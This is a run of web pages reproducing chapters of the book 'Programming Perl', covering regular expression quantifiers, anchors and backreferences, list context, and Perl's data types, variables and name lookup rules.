The most general form of quantifier specifies both the minimum and maximum number of times an item can match. You put the two numbers in braces, separated by a comma. For example, if you were trying to match North American phone numbers, the sequence \d{7,11} would match at least seven digits, but no more than eleven digits. If you put a single number in the braces, the number specifies both the minimum and the maximum; that is, the number specifies the exact number of times the item can match. (All unquantified items have an implicit {1} quantifier.)

If you put the minimum and the comma but omit the maximum, then the maximum is taken to be infinity. In other words, it will match at least the minimum number of times, plus as many as it can get after that. For example, \d{7} will match only the first seven digits (a local North American phone number, for instance, or the first seven digits of a longer number), while \d{7,} will match any phone number, even an international one (unless it happens to be shorter than seven digits). There is no special way of saying "at most" a certain number of times. Just say .{0,5}, for example, to find at most five arbitrary characters.

Certain combinations of minimum and maximum occur frequently, so Perl defines special quantifiers for them. We've already seen +, which is the same as {1,}, or "at least one of the preceding item". There is also *, which is the same as {0,}, or "zero or more of the preceding item", and ?, which is the same as {0,1}, or "zero or one of the preceding item" (that is, the preceding item is optional).

You need to be careful of a couple things about quantification. First of all, Perl quantifiers are by default greedy. This means that they will attempt to match as much as they can as long as the whole pattern still matches. For example, if you are matching /\d+/ against "1234567890", it will match the entire string. This is something to watch out for especially when you are using ".", any character. Often, someone will have a string like:

larry:JYHtPh0./NJTU:100:10:Larry Wall:/home/larry:/bin/tcsh
and will try to match "larry:" with /.+:/. However, since the + quantifier is greedy, this pattern will match everything up to and including "/home/larry:", because it matches as much as possible before the last colon, including all the other colons. Sometimes you can avoid this by using a negated character class, that is, by saying /[^:]+:/, which says to match one or more noncolon characters (as many as possible), up to the first colon. It's that little caret in there that negates the Boolean sense of the character class.[25] The other point to be careful about is that regular expressions will try to match as early as possible. This even takes precedence over being greedy. Since scanning happens left-to-right, this means that the pattern will match as far left as possible, even if there is some other place where it could match longer. (Regular expressions may be greedy, but they aren't into delayed gratification.) For example, suppose you're using the substitution command (s///) on the default string (variable $_, that is), and you want to remove a string of x's from the middle of the string. If you say:
$_ = "fred xxxxxxx barney";
s/x*//;
it will have absolutely no effect! This is because the x* (meaning zero or more "x" characters) will be able to match the "nothing" at the beginning of the string, since the null string happens to be zero characters wide and there's a null string just sitting there plain as day before the "f" of "fred".[26]

[25] Sorry, we didn't pick that notation, so don't blame us. That's just how negated character classes are customarily written in Unix culture.

[26] Don't feel bad. Even the authors get caught by this from time to time.

There's one other thing you need to know. By default, quantifiers apply to a single preceding character, so /bam{2}/ will match "bamm" but not "bambam". To apply a quantifier to more than one character, use parentheses. So to match "bambam", use the pattern /(bam){2}/.

1.7.2. Minimal Matching

If you were using an ancient version of Perl and you didn't want greedy matching, you had to use a negated character class. (And really, you were still getting greedy matching of a constrained variety.)

In modern versions of Perl, you can force nongreedy, minimal matching by placing a question mark after any quantifier. Our same username match would now be /.*?:/. That .*? will now try to match as few characters as possible, rather than as many as possible, so it stops at the first colon rather than at the last.

1.7.3. Nailing Things Down

Whenever you try to match a pattern, it's going to try to match in every location till it finds a match. An anchor allows you to restrict where the pattern can match. Essentially, an anchor is something that matches a "nothing", but a special kind of nothing that depends on its surroundings. You could also call it a rule, or a constraint, or an assertion. Whatever you care to call it, it tries to match something of zero width, and either succeeds or fails. (Failure merely means that the pattern can't match that particular way. The pattern will go on trying to match some other way, if there are any other ways left to try.)

The special symbol \b matches at a word boundary, which is defined as the "nothing" between a word character (\w) and a nonword character (\W), in either order. (The characters that don't exist off the beginning and end of your string are considered to be nonword characters.) For example,

/\bFred\b/
would match "Fred" in both "The Great Fred" and "Fred the Great", but not in "Frederick the Great" because the "d" in "Frederick" is not followed by a nonword character.

In a similar vein, there are also anchors for the beginning of the string and the end of the string. If it is the first character of a pattern, the caret (^) matches the "nothing" at the beginning of the string. Therefore, the pattern /^Fred/ would match "Fred" in "Frederick the Great" but not in "The Great Fred", whereas /Fred^/ wouldn't match either. (In fact, it doesn't even make much sense.) The dollar sign ($) works like the caret, except that it matches the "nothing" at the end of the string instead of the beginning.[27]

[27] This is a bit oversimplified, since we're assuming here that your string contains no newlines; ^ and $ are actually anchors for the beginnings and endings of lines rather than strings. We'll try to straighten this all out in Chapter 5, "Pattern Matching" (to the extent that it can be straightened out).

So now you can probably figure out that when we said:

next LINE if $line =~ /^#/;
we meant "Go to the next iteration of LINE loop if this line happens to begin with a # character."

Earlier we said that the sequence \d{7,11} would match a number from seven to eleven digits long. While strictly true, the statement is misleading: when you use that sequence within a real pattern match operator such as /\d{7,11}/, it does not preclude there being extra unmatched digits after the 11 matched digits! You often need to anchor quantified patterns on either or both ends to get what you expect.

1.7.4. Backreferences

We mentioned earlier that you can use parentheses to group things for quantifiers, but you can also use parentheses to remember bits and pieces of what you matched. A pair of parentheses around a part of a regular expression causes whatever was matched by that part to be remembered for later use. It doesn't change what the part matches, so /\d+/ and /(\d+)/ will still match as many digits as possible, but in the latter case they will be remembered in a special variable to be backreferenced later.

How you refer back to the remembered part of the string depends on where you want to do it from. Within the same regular expression, you use a backslash followed by an integer. The integer corresponding to a given pair of parentheses is determined by counting left parentheses from the beginning of the pattern, starting with one. So for example, to match something similar to an HTML tag like "<B>Bold</B>", you might use /<(.*?)>.*?<\/\1>/. This forces the two parts of the pattern to match the exact same string, such as the "B" in this example.

Outside the regular expression itself, such as in the replacement part of a substitution, you use a $ followed by an integer, that is, a normal scalar variable named by the integer. So, if you wanted to swap the first two words of a string, for example, you could use:

s/(\S+)\s+(\S+)/$2 $1/

The right side of the substitution (between the second and third slashes) is mostly just a funny kind of double-quoted string, which is why you can interpolate variables there, including backreference variables. This is a powerful concept: interpolation (under controlled circumstances) is one of the reasons Perl is a good text-processing language. The other reason is the pattern matching, of course. Regular expressions are good for picking things apart, and interpolation is good for putting things back together again. Perhaps there's hope for Humpty Dumpty after all.

Previous | Home | Next
1.6. Control Structures | Book Index | 1.8. List Processing
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


List Processing (Programming Perl)

 Book Home Programming PerlSearch this book

1.8. List Processing

Much earlier in this chapter, we mentioned that Perl has two main contexts, scalar context (for dealing with singular things) and list context (for dealing with plural things). Many of the traditional operators we've described so far have been strictly scalar in their operation. They always take singular arguments (or pairs of singular arguments for binary operators) and always produce a singular result, even in list context. So if you write this:

@array = (1 + 2, 3 - 4, 5 * 6, 7 / 8);
you know that the list on the right side contains exactly four values, because the ordinary math operators always produce scalar values, even in the list context provided by the assignment to an array.

However, other Perl operators can produce either a scalar or a list value, depending on their context. They just "know" whether a scalar or a list is expected of them. But how will you know that? It turns out to be pretty easy to figure out, once you get your mind around a few key concepts.

First, list context has to be provided by something in the "surroundings". In the previous example, the list assignment provides it. Earlier we saw that the list of a foreach loop provides it. The print operator also provides it. But you don't have to learn these one by one.

If you look at the various syntax summaries scattered throughout the rest of the book, you'll see various operators that are defined to take a LIST as an argument. Those are the operators that provide a list context. Throughout this book, LIST is used as a specific technical term to mean "a syntactic construct that provides a list context". For example, if you look up sort, you'll find the syntax summary:

sort LIST
That means that sort provides a list context to its arguments.

Second, at compile time (that is, while Perl is parsing your program and translating to internal opcodes), any operator that takes a LIST provides a list context to each syntactic element of that LIST. So every top-level operator or entity in the LIST knows at compile time that it's supposed to produce the best list it knows how to produce. This means that if you say:

sort @dudes, @chicks, other();
then each of @dudes, @chicks, and other() knows at compile time that it's supposed to produce a list value rather than a scalar value. So the compiler generates internal opcodes that reflect this.

Later, at run time (when the internal opcodes are actually interpreted), each of those LIST elements produces its list in turn, and then (this is important) all the separate lists are joined together, end to end, into a single list. And that squashed-flat, one-dimensional list is what is finally handed off to the function that wanted the LIST in the first place. So if @dudes contains (Fred,Barney), @chicks contains (Wilma,Betty), and the other() function returns the single-element list (Dino), then the LIST that sort sees is:

(Fred,Barney,Wilma,Betty,Dino)
and the LIST that sort returns is:
(Barney,Betty,Dino,Fred,Wilma)

Some operators produce lists (like keys), while some consume them (like print), and others transform lists into other lists (like sort). Operators in the last category can be considered filters, except that, unlike in the shell, the flow of data is from right to left, since list operators operate on arguments passed in from the right. You can stack up several list operators in a row:

print reverse sort map {lc} keys %hash;
That takes the keys of %hash and returns them to the map function, which lowercases all the keys by applying the lc operator to each of them, and passes them to the sort function, which sorts them, and passes them to the reverse function, which reverses the order of the list elements, and passes them to the print function, which prints them.

As you can see, that's much easier to describe in Perl than in English.

There are many other ways in which list processing produces more natural code. We can't enumerate all the ways here, but for an example, let's go back to regular expressions for a moment. We talked about using a pattern in a scalar context to see whether it matched, but if instead you use a pattern in a list context, it does something else: it pulls out all the backreferences as a list. Suppose you're searching through a log file or a mailbox, and you want to parse a string containing a time of the form "12:59:59 am". You might say this:

($hour, $min, $sec, $ampm) = /(\d+):(\d+):(\d+) *(\w+)/;
That's a convenient way to set several variables simultaneously. But you could just as easily say
@hmsa = /(\d+):(\d+):(\d+) *(\w+)/;
and put all four values into one array. Oddly, by decoupling the power of regular expressions from the power of Perl expressions, list context increases the power of the language. We don't often admit it, but Perl is actually an orthogonal language in addition to being a diagonal language. Have your cake, and eat it too.

Previous | Home | Next
1.7. Regular Expressions | Book Index | 1.9. What You Don't Know Won't Hurt You (Much)
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


What You Don't Know Won't Hurt You (Much) (Programming Perl)

 Programming PerlSearch this book

1.9. What You Don't Know Won't Hurt You (Much)

Finally, allow us to return once more to the concept of Perl as a natural language. Speakers of a natural language are allowed to have differing skill levels, to speak different subsets of the language, to learn as they go, and generally, to put the language to good use before they know the whole language. You don't know all of Perl yet, just as you don't know all of English. But that's Officially Okay in Perl culture. You can work with Perl usefully, even though we haven't even told you how to write your own subroutines yet. We've scarcely begun to explain how to view Perl as a system management language, or a rapid prototyping language, or a networking language, or an object-oriented language. We could write entire chapters about some of these things. (Come to think of it, we already did.)

But in the end, you must create your own view of Perl. It's your privilege as an artist to inflict the pain of creativity on yourself. We can teach you how we paint, but we can't teach you how you paint. There's More Than One Way To Do It.

Have the appropriate amount of fun.

Previous | Home | Next
1.8. List Processing | Book Index | Part 2. The Gory Details
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Bits and Pieces (Programming Perl)

 Programming PerlSearch this book

Chapter 2. Bits and Pieces

Contents:

Atoms
Molecules
Built-in Data Types
Variables
Names
Scalar Values
Context
List Values and Arrays
Hashes
Typeglobs and Filehandles
Input Operators

We're going to start small, so this chapter is about the elements of Perl.

Since we're starting small, the progression through the next several chapters is necessarily from small to large. That is, we take a bottom-up approach, beginning with the smallest components of Perl programs and building them into more elaborate structures, much like molecules are built out of atoms. The disadvantage of this approach is that you don't necessarily get the Big Picture before getting lost in a welter of details. The advantage is that you can understand the examples as we go along. (If you're a top-down person, just turn the book over and read the chapters backward.)

Each chapter does build on the preceding chapter (or the subsequent chapter, if you're reading backward), so you'll need to be careful if you're the sort of person who skips around.

You're certainly welcome to peek at the reference materials toward the end of the book as we go along. (That doesn't count as skipping around.) In particular, any isolated word in typewriter font is likely to be found in Chapter 29, "Functions". And although we've tried to stay operating-system neutral, if you are unfamiliar with Unix terminology and run into a word that doesn't seem to mean what you think it ought to mean, you should check whether the word is in the Glossary. If the Glossary doesn't work, the index probably will.

2.1. Atoms

Although there are various invisible things going on behind the scenes that we'll explain presently, the smallest things you generally work with in Perl are individual characters. And we do mean characters; historically, Perl freely confused bytes with characters and characters with bytes, but in this new era of global networking, we must be careful to distinguish the two.

Perl may, of course, be written entirely in the 7-bit ASCII character set. Perl also allows you to write in any 8-bit or 16-bit character set, whether it's a national character set or some other legacy character set. However, if you choose to write in one of these older, non-ASCII character sets, you may use non-ASCII characters only within string literals. You are responsible for making sure that the semantics of your program are consistent with the particular national character set you've chosen. For instance, if you're using a 16-bit encoding for an Asian national character set, keep in mind that Perl will generally think of each of your characters as two bytes, not as one character.

As described in Chapter 15, "Unicode", we've recently added support for Unicode to Perl.[1] This support is pervasive throughout the language: you can use Unicode characters in identifiers (variable names and such) as well as within literal strings. When you are using Unicode, you don't need to worry about how many bits or bytes it takes to represent a character. Perl just pretends all Unicode characters are the same size (that is, size 1), even though any given character might be represented by multiple bytes internally. Perl normally represents Unicode internally as UTF-8, a variable-length encoding. (For instance, a Unicode smiley character, U-263A, would be represented internally as a three-byte sequence.)

[1] As excited as we are about Unicode support, most of our examples will be in ASCII, since not everyone has a decent Unicode editor yet.

If you'll let us drive our analogy of the physical elements a bit further, characters are atomic in the same sense as the individual atoms of the various elements. Yes, they're composed of smaller particles known as bits and bytes, but if you break a character apart (in a character accelerator, no doubt), the individual bits and bytes lose the distinguishing chemical properties of the character as a whole. Just as neutrons are an implementation detail of the U-238 atom, so too bytes are an implementation detail of the U-263A character.

So we'll be careful to say "characters" when we mean characters, and "bytes" when we mean bytes. But we don't mean to scare you--you can still do the good old-fashioned byte processing easily enough. All you have to do is tell Perl that you still want to think of bytes as characters. You can do that with a use bytes pragma (see Chapter 31, "Pragmatic Modules"). But even if you don't do that, Perl will still do a pretty good job of keeping small characters in 8 bits when you expect it to.

So don't sweat the small stuff. Let's move on to bigger and better things.

Previous | Home | Next
Part 2. The Gory Details | Book Index | 2.2. Molecules
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Molecules (Programming Perl)

 Programming PerlSearch this book

2.2. Molecules

Perl is a free-form language, but that doesn't mean that Perl is totally free of form. As computer folks usually use the term, a free-form language is one in which you can put spaces, tabs, and newlines anywhere you like--except where you can't.

One obvious place you can't put a whitespace character is in the middle of a token. A token is what we call a sequence of characters with a unit of meaning, much like a simple word in natural language. But unlike the typical word, a token might contain other characters besides letters, just as long as they hang together to form a unit of meaning. (In that sense, they're more like molecules, which don't have to be composed of only one particular kind of atom.) For example, numbers and mathematical operators are considered tokens. An identifier is a token that starts with a letter or underscore and contains only letters, digits, and underscores. A token may not contain whitespace characters because this would split the token into two tokens, just as a space in an English word turns it into two words.[2]

[2] The astute reader will point out that literal strings may contain whitespace characters. But strings can get away with it only because they have quotes on both ends to keep the spaces from leaking out.

Although whitespace is allowed between any two tokens, whitespace is required only between tokens that would otherwise be confused as a single token. All whitespace is equivalent for this purpose. Newlines are distinguished from spaces and tabs only within quoted strings, formats, and certain line-oriented forms of quoting. Specifically, newlines do not terminate statements as they do in certain other languages (such as FORTRAN or Python). Statements in Perl are terminated with semicolons, just as they are in C and its various derivatives.

Unicode whitespace characters are allowed in a Unicode Perl program, but you need to be careful. If you use the special Unicode paragraph and line separators, be aware that Perl may count line numbers differently than your text editor does, so error messages may be more difficult to interpret. It's best to stick with good old-fashioned newlines.

Tokens are recognized greedily; if at a particular point the Perl parser has a choice between recognizing a short token or a long token, it will choose the long one. If you meant it to be two tokens, just insert some whitespace between the tokens. (We tend to put extra space around most operators anyway, just for readability.)

Comments are indicated by the # character and extend from there through the end of the line. A comment counts as whitespace for separating tokens. The Perl language attaches no special meaning to anything you might put into a comment.[3]

[3] Actually, that's a small fib. The Perl parser does look for command-line switches on an initial #! line (see Chapter 19, "The Command-Line Interface"). It can also interpret the line number directives that various preprocessors produce (see the section Section 2.5.2, "Generating Perl in Other Languages" in Chapter 24, "Common Practices").

One other oddity is that if a line begins with = anywhere a statement would be legal, Perl ignores everything from that line down to the next line that begins with =cut. The ignored text is assumed to be pod, or "plain old documentation". The Perl distribution has programs that will extract pod commentary from Perl modules and turn it into flat text, manpages, [LaTeX], HTML, or (someday soon) XML documents. In a complementary fashion, the Perl parser extracts the Perl code from Perl modules and ignores the pod. So you may consider this an alternate, multiline form of commenting. You may also consider it completely nuts, but Perl modules documented this way never lose track of their documentation. See Chapter 26, "Plain Old Documentation", for details on pod, including a description of how to effect multiline comments in Perl.

But don't look down on the normal comment character. There's something comforting about the visual effect of a nice row of # characters down the left side of a multiline comment. It immediately tells your eyes: "This is not code." You'll note that even in languages with a multiline quoting mechanisms like C, people often put a row of * characters down the left side of their comments anyway. Appearances are often more important than they appear.

In Perl, just as in chemistry and in language, you can build larger and larger structures out of the smaller ones. We already mentioned the statement; it's just a sequence of tokens that make up a command, that is, a sentence in the imperative mood. You can combine a sequence of statements into a block that is delimited by braces (also known affectionately as "curlies" by people who confuse braces with suspenders.) Blocks can in turn be combined into larger blocks. Some blocks function as subroutines, which can be combined into modules, which can be combined into programs. But we're getting ahead of ourselves--those are subjects for coming chapters. Let's build some more tokens out of characters.

Previous | Home | Next
2.1. Atoms | Book Index | 2.3. Built-in Data Types
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Built-in Data Types (Programming Perl)

 Book Home Programming PerlSearch this book

2.3. Built-in Data Types

Before we start talking about various kinds of tokens you can build from characters, we need a few more abstractions. To be specific, we need three data types.

Computer languages vary in how many and what kinds of data types they provide. Unlike some commonly used languages that provide many confusing types for similar kinds of values, Perl provides just a few built-in data types. Consider C, in which you might run into char, short, int, long, long long, bool, wchar_t, size_t, off_t, regex_t, uid_t, u_longlong_t, pthread_key_t, fp_exception_field_type, and so on. That's just some of the integer types! Then there are floating-point numbers, and pointers, and strings.

All these complicated types correspond to just one type in Perl: the scalar. (Usually Perl's simple data types are all you need, but if not, you're free to define fancy dynamic types using Perl's object-oriented features--see Chapter 12, "Objects".) Perl's three basic data types are: scalars, arrays of scalars, and hashes of scalars (also known as associative arrays). Some people may prefer to call these data structures rather than types. That's okay.

Scalars are the fundamental type from which more complicated structures are built. A scalar stores a single, simple value--typically a string or a number. Elements of this simple type may be combined into either of the two aggregate types. An array is an ordered list of scalars that you access with an integer subscript (or index). All indexing in Perl starts at 0. Unlike many programming languages, however, Perl treats negative subscripts as valid: instead of counting from the beginning, negative subscripts count back from the end of whatever it is you're indexing into. (This applies to various substring and sublist operations as well as to regular subscripting.) A hash, on the other hand, is an unordered set of key/value pairs that you access using strings (the keys) as subscripts to look up the scalars (the values) corresponding to a given key. Variables are always one of these three types. (Other than variables, Perl also has other abstractions that you can think of as data types, such as filehandles, directory handles, formats, subroutines, symbol tables, and symbol table entries.)

Abstractions are wonderful, and we'll collect more of them as we go along, but they're also useless in a way. You can't do anything with an abstraction directly. That's why computer languages have syntax. We need to introduce you to the various kinds of syntactic terms you can use to pull your abstract data into expressions. We like to use the technical term term when we want to talk in terms of these syntactic units. (Hmm, this could get terminally confusing. Just remember how your math teacher used to talk about the terms of an equation, and you won't go terribly wrong.)

Just like the terms in a math equation, the purpose of most terms in Perl is to produce values for operators like addition and multiplication to operate on. Unlike in a math equation, however, Perl has to do something with the values it calculates, not just think with a pencil in its hand about whether the two sides of the equation are equal. One of the most common things to do with a value is to store it somewhere:

$x = $y;

That's an example of the assignment operator (not the numeric equality operator, which is spelled == in Perl). The assignment gets the value from $y and puts it into $x. Notice that we aren't using the term $x for its value; we're using it for its location. (The old value of $x gets clobbered by the assignment.) We say that $x is an lvalue, meaning it's the sort of storage location we can use on the left side of an assignment. We say that $y is an rvalue because it's used on the right side.

There's also a third kind of value, called a temporary value, that you need to understand if you want to know what Perl is really doing with your lvalues and rvalues. If we do some actual math and say:

$x = $y + 1;
Perl takes the rvalue $y and adds the rvalue 1 to it, which produces a temporary value that is eventually assigned to the lvalue $x. It may help you to visualize what is going on if we tell you that Perl stores these temporary values in an internal structure called a stack.[4] The terms of an expression (the ones we're talking about in this chapter) tend to push values onto the stack, while the operators of the expression (which we'll discuss in the next chapter) tend to pop them back off the stack, perhaps leaving another temporary result on the stack for the next operator to work with. The pushes and pops all balance out--by the time the expression is done, the stack is entirely empty (or as empty as it was when we started). More about temporary values later.

[4] A stack works just like one of those spring-loaded plate dispensers you see in a buffet restaurant--you can push plates onto the top of the stack, or you can pop them off again (to use the Comp. Sci. vernacular).

Some terms can only be rvalues, such as the 1 above, while others can serve as either lvalues or rvalues. In particular, as the assignments above illustrate, a variable may function as either. And that's what our next section is about.

Previous | Home | Next
2.2. Molecules | Book Index | 2.4. Variables
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Variables (Programming Perl)

 Programming PerlSearch this book

2.4. Variables

Not surprisingly, there are three variable types corresponding to the three abstract data types we mentioned earlier. Each of these is prefixed by what we call a funny character.[5] Scalar variables are always named with an initial $, even when referring to a scalar that is part of an array or hash. It works a bit like the English word "the". Thus, we have:

[5] That's another technical term in computer science. (And if it wasn't before, it is now.)

Construct | Meaning
$days | Simple scalar value $days
$days[28] | 29th element of array @days
$days{'Feb'} | "Feb" value from hash %days

Note that we can use the same name for $days, @days, and %days without Perl getting confused.

There are other, fancier scalar terms, useful in specialized situations that we won't go into yet. They look like this:

Construct | Meaning
${days} | Same as $days but unambiguous before alphanumerics
$Dog::days | Different $days variable, in the Dog package
$#days | Last index of array @days
$days->[28] | 29th element of array pointed to by reference $days
$days[0][2] | Multidimensional array
$days{2000}{'Feb'} | Multidimensional hash
$days{2000,'Feb'} | Multidimensional hash emulation

Entire arrays (or slices of arrays and hashes) are named with the funny character @, which works much like the words "these" or "those":

Construct | Meaning
@days | Array containing ($days[0], $days[1],... $days[n])
@days[3, 4, 5] | Array slice containing ($days[3], $days[4], $days[5])
@days[3..5] | Array slice containing ($days[3], $days[4], $days[5])
@days{'Jan','Feb'} | Hash slice containing ($days{'Jan'},$days{'Feb'})

Entire hashes are named by %:

Construct | Meaning
%days | (Jan => 31, Feb => $leap ? 29 : 28, ...)

Any of these constructs may also serve as an lvalue, specifying a location you could assign a value to. With arrays, hashes, and slices of arrays or hashes, the lvalue provides multiple locations to assign to, so you can assign multiple values to them all at once:

@days = 1 .. 7;

Previous | Home | Next
2.3. Built-in Data Types | Book Index | 2.5. Names
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Names (Programming Perl)

 Book Home Programming PerlSearch this book

2.5. Names

We've talked about storing values in variables, but the variables themselves (their names and their associated definitions) also need to be stored somewhere. In the abstract, these places are known as namespaces. Perl provides two kinds of namespaces, which are often called symbol tables and lexical scopes.[6] You may have an arbitrary number of symbol tables or lexical scopes, but every name you define gets stored in one or the other. We'll explain both kinds of namespaces as we go along. For now we'll just say that symbol tables are global hashes that happen to contain symbol table entries for global variables (including the hashes for other symbol tables). In contrast, lexical scopes are unnamed scratchpads that don't live in any symbol table, but are attached to a block of code in your program. They contain variables that can only be seen by the block. (That's what we mean by a scope). The lexical part just means, "having to do with text", which is not at all what a lexicographer would mean by it. Don't blame us.)

[6] We also call them packages and pads when we're talking about Perl's specific implementations, but those longer monikers are the generic industry terms, so we're pretty much stuck with them. Sorry.

Within any given namespace (whether global or lexical), every variable type has its own subnamespace, determined by the funny character. You can, without fear of conflict, use the same name for a scalar variable, an array, or a hash (or, for that matter, a filehandle, a subroutine name, a label, or your pet llama). This means that $foo and @foo are two different variables. Together with the previous rules, it also means that $foo[1] is an element of @foo totally unrelated to the scalar variable $foo. This may seem a bit weird, but that's okay, because it is weird.

Subroutines may be named with an initial &, although the funny character is optional when calling the subroutine. Subroutines aren't generally considered lvalues, though recent versions of Perl allow you to return an lvalue from a subroutine and assign to that, so it can look as though you're assigning to the subroutine.

Sometimes you just want a name for "everything named foo" regardless of its funny character. So symbol table entries can be named with an initial *, where the asterisk stands for all the other funny characters. These are called typeglobs, and they have several uses. They can also function as lvalues. Assignment to typeglobs is how Perl implements importing of symbols from one symbol table to another. More about that later too.

Like most computer languages, Perl has a list of reserved words that it recognizes as special keywords. However, because variable names always start with a funny character, reserved words don't actually conflict with variable names. Certain other kinds of names don't have funny characters, though, such as labels and filehandles. With these, you do have to worry (a little) about conflicting with reserved words. Since most reserved words are entirely lowercase, we recommend that you pick label and filehandle names that contain uppercase letters. For example, if you say open(LOG, logfile) rather than the regrettable open(log, "logfile"), you won't confuse Perl into thinking you're talking about the built-in log operator (which does logarithms, not tree trunks). Using uppercase filehandles also improves readability[7] and protects you from conflict with reserved words we might add in the future. For similar reasons, user-defined modules are typically named with initial capitals so that they'll look different from the built-in modules known as pragmas, which are named in all lowercase. And when we get to object-oriented programming, you'll notice that class names are usually capitalized for the same reason.

[7] One of the design principles of Perl is that different things should look different. Contrast this with languages that try to force different things to look the same, to the detriment of readability.

As you might deduce from the preceding paragraph, case is significant in identifiers--FOO, Foo, and foo are all different names in Perl. Identifiers start with a letter or underscore and may be of any length (for values of "any" ranging between 1 and 251, inclusive) and may contain letters, digits, and underscores. This includes Unicode letters and digits. Unicode ideographs also count as letters, but we don't recommend you use them unless you can read them. See Chapter 15, "Unicode".

Names that follow funny characters don't have to be identifiers, strictly speaking. They can start with a digit, in which case they may only contain more digits, as in $123. Names that start with anything other than a letter, digit, or underscore are (usually) limited to that one character (like $? or $$), and generally have a predefined significance to Perl. For example, just as in the Bourne shell, $$ is the current process ID and $? the exit status of your last child process.

As of version 5.6, Perl also has an extensible syntax for internal variables names. Any variable of the form ${^NAME} is a special variable reserved for use by Perl. All these non-identifier names are forced to be in the main symbol table. See Chapter 28, "Special Names", for some examples.

It's tempting to think of identifiers and names as the same thing, but when we say name, we usually mean a fully qualified name, that is, a name that says which symbol table it lives in. Such names may be formed of a sequence of identifiers separated by the :: token:

$Santa::Helper::Reindeer::Rudolph::nose
That works just like the directories and filenames in a pathname:
/Santa/Helper/Reindeer/Rudolph/nose
In the Perl version of that notion, all the leading identifiers are the names of nested symbol tables, and the last identifier is the name of the variable within the most deeply nested symbol table. For instance, in the variable above, the symbol table is named Santa::Helper::Reindeer::Rudolph::, and the actual variable within that symbol table is $nose. (The value of that variable is, of course, "red".)

A symbol table in Perl is also known as a package, so these are often called package variables. Package variables are nominally private to the package in which they exist, but are global in the sense that the packages themselves are global. That is, anyone can name the package to get at the variable; it's just hard to do this by accident. For instance, any program that mentions $Dog::bert is asking for the $bert variable within the Dog:: package. That is an entirely separate variable from $Cat::bert. See Chapter 10, "Packages".

Variables attached to a lexical scope are not in any package, so lexically scoped variable names may not contain the :: sequence. (Lexically scoped variables are declared with a my declaration.)

2.5.1. Name Lookups

So the question is, what's in a name? How does Perl figure out what you mean if you just say $bert? Glad you asked. Here are the rules the Perl parser uses while trying to understand an unqualified name in context:

  1. First, Perl looks earlier in the immediately enclosing block to see whether the variable is declared in that same block with a my (or our) declaration (see those entries in Chapter 29, "Functions", as well as the section Section 2.8, "Scoped Declarations" in Chapter 4, "Statements and Declarations"). If there is a my declaration, the variable is lexically scoped and doesn't exist in any package--it exists only in that lexical scope (that is, in the block's scratchpad). Because lexical scopes are unnamed, nobody outside that chunk of program can even name your variable.[8]

    [8]If you use an our declaration instead of a my declaration, this only declares a lexically scoped alias (a nickname) for a package variable, rather than declaring a true lexically scoped variable the way my does. Outside code can still get at the real variable through its package, but in all other respects an our declaration behaves like a my declaration. This is handy when you're trying to limit your own use of globals with the use strict pragma (see the strict pragma in Chapter 31, "Pragmatic Modules"). But you should always prefer my if you don't need a global.

  2. If that doesn't work, Perl looks for the block enclosing that block and tries again for a lexically scoped variable in the larger block. Again, if Perl finds one, the variable belongs only to the lexical scope from the point of declaration through the end of the block in which it is declared--including any nested blocks, like the one we just came from in step 1. If Perl doesn't find a declaration, it repeats step 2 until it runs out of enclosing blocks.

  3. When Perl runs out of enclosing blocks, it examines the whole compilation unit for declarations as if it were a block. (A compilation unit is just the entire current file, or the string currently being compiled by an eval STRING operator.) If the compilation unit is a file, that's the largest possible lexical scope, and Perl will look no further for lexically scoped variables, so we go to step 4. If the compilation unit is a string, however, things get fancier. A string compiled as Perl code at run time pretends that it's a block within the lexical scope from which the eval STRING is running, even though the actual boundaries of the lexical scope are the limits of the string containing the code rather than any real braces. So if Perl doesn't find the variable in the lexical scope of the string, we pretend that the eval STRING is a block and go back to step 2, only this time starting with the lexical scope of the eval STRING operator instead of the lexical scope inside its string.

  4. If we get here, it means Perl didn't find any declaration (either my or our) for your variable. Perl now gives up on lexically scoped variables and assumes that your variable is a package variable. If the strict pragma is in effect, you will now get an error, unless the variable is one of Perl's predefined variables or has been imported into the current package. This is because that pragma disallows the use of unqualified global names. However, we aren't done with lexical scopes just yet. Perl does the same search of lexical scopes as it did in steps 1 through 3, only this time it searches for package declarations instead of variable declarations. If it finds such a package declaration, it knows that the current code is being compiled for the package in question and prepends the declared package name to the front of the variable.

  5. If there is no package declaration in any surrounding lexical scope, Perl looks for the variable name in the unnamed top-level package, which happens to have the name main when it isn't going around without a name tag. So in the absence of any declarations to the contrary, $bert means the same as $::bert, which means the same as $main::bert. (But because main is just another package in the top-level unnamed package, it's also $::main::bert, and $main::main::bert, $::main::main::bert and so on. This could be construed as a useless fact. But see "Symbol Tables" in Chapter 10, "Packages".)

There are several implications to these search rules that might not be obvious, so we'll make them explicit.

  • Because the file is the largest possible lexical scope, a lexically scoped variable can never be visible outside the file in which it's declared. File scopes do not nest.

  • Any particular bit of Perl is compiled in at least one lexical scope and exactly one package scope. The mandatory lexical scope is, of course, the file itself. Additional lexical scopes are provided by each enclosing block. All Perl code is also compiled in the scope of exactly one package, and although the declaration of which package you're in is lexically scoped, packages themselves are not lexically constrained. That is, they're global.

  • An unqualified variable name may therefore be searched for in many lexical scopes, but only one package scope, whichever one is currently in effect (which is lexically determined).

  • A variable name may only attach to one scope. Although at least two different scopes (lexical and package) are active everywhere in your program, a variable can only exist in one of those scopes.

  • An unqualified variable name can therefore resolve to only a single storage location, either in the first enclosing lexical scope in which it is declared, or else in the current package--but not both. The search stops as soon as that storage location is resolved, and any storage location that it would have found had the search continued is effectively hidden.

  • The location of the typical variable name can be completely determined at compile time.

Now that you know all about how the Perl compiler deals with names, you sometimes have the problem that you don't know the name of what you want at compile time. Sometimes you want to name something indirectly; we call this the problem of indirection. So Perl provides a mechanism: you can always replace an alphanumeric variable name with a block containing an expression that returns a reference to the real data. For instance, instead of saying:

$bert
you might say:
${ some_expression() }
and if the some_expression() function returns a reference to variable $bert (or even the string, "bert"), it will work just as if you'd said $bert in the first place. On the other hand, if the function returns a reference to $ernie, you'll get his variable instead. The syntax shown is the most general (and least legible) form of indirection, but we'll cover several convenient variations in Chapter 8, "References".

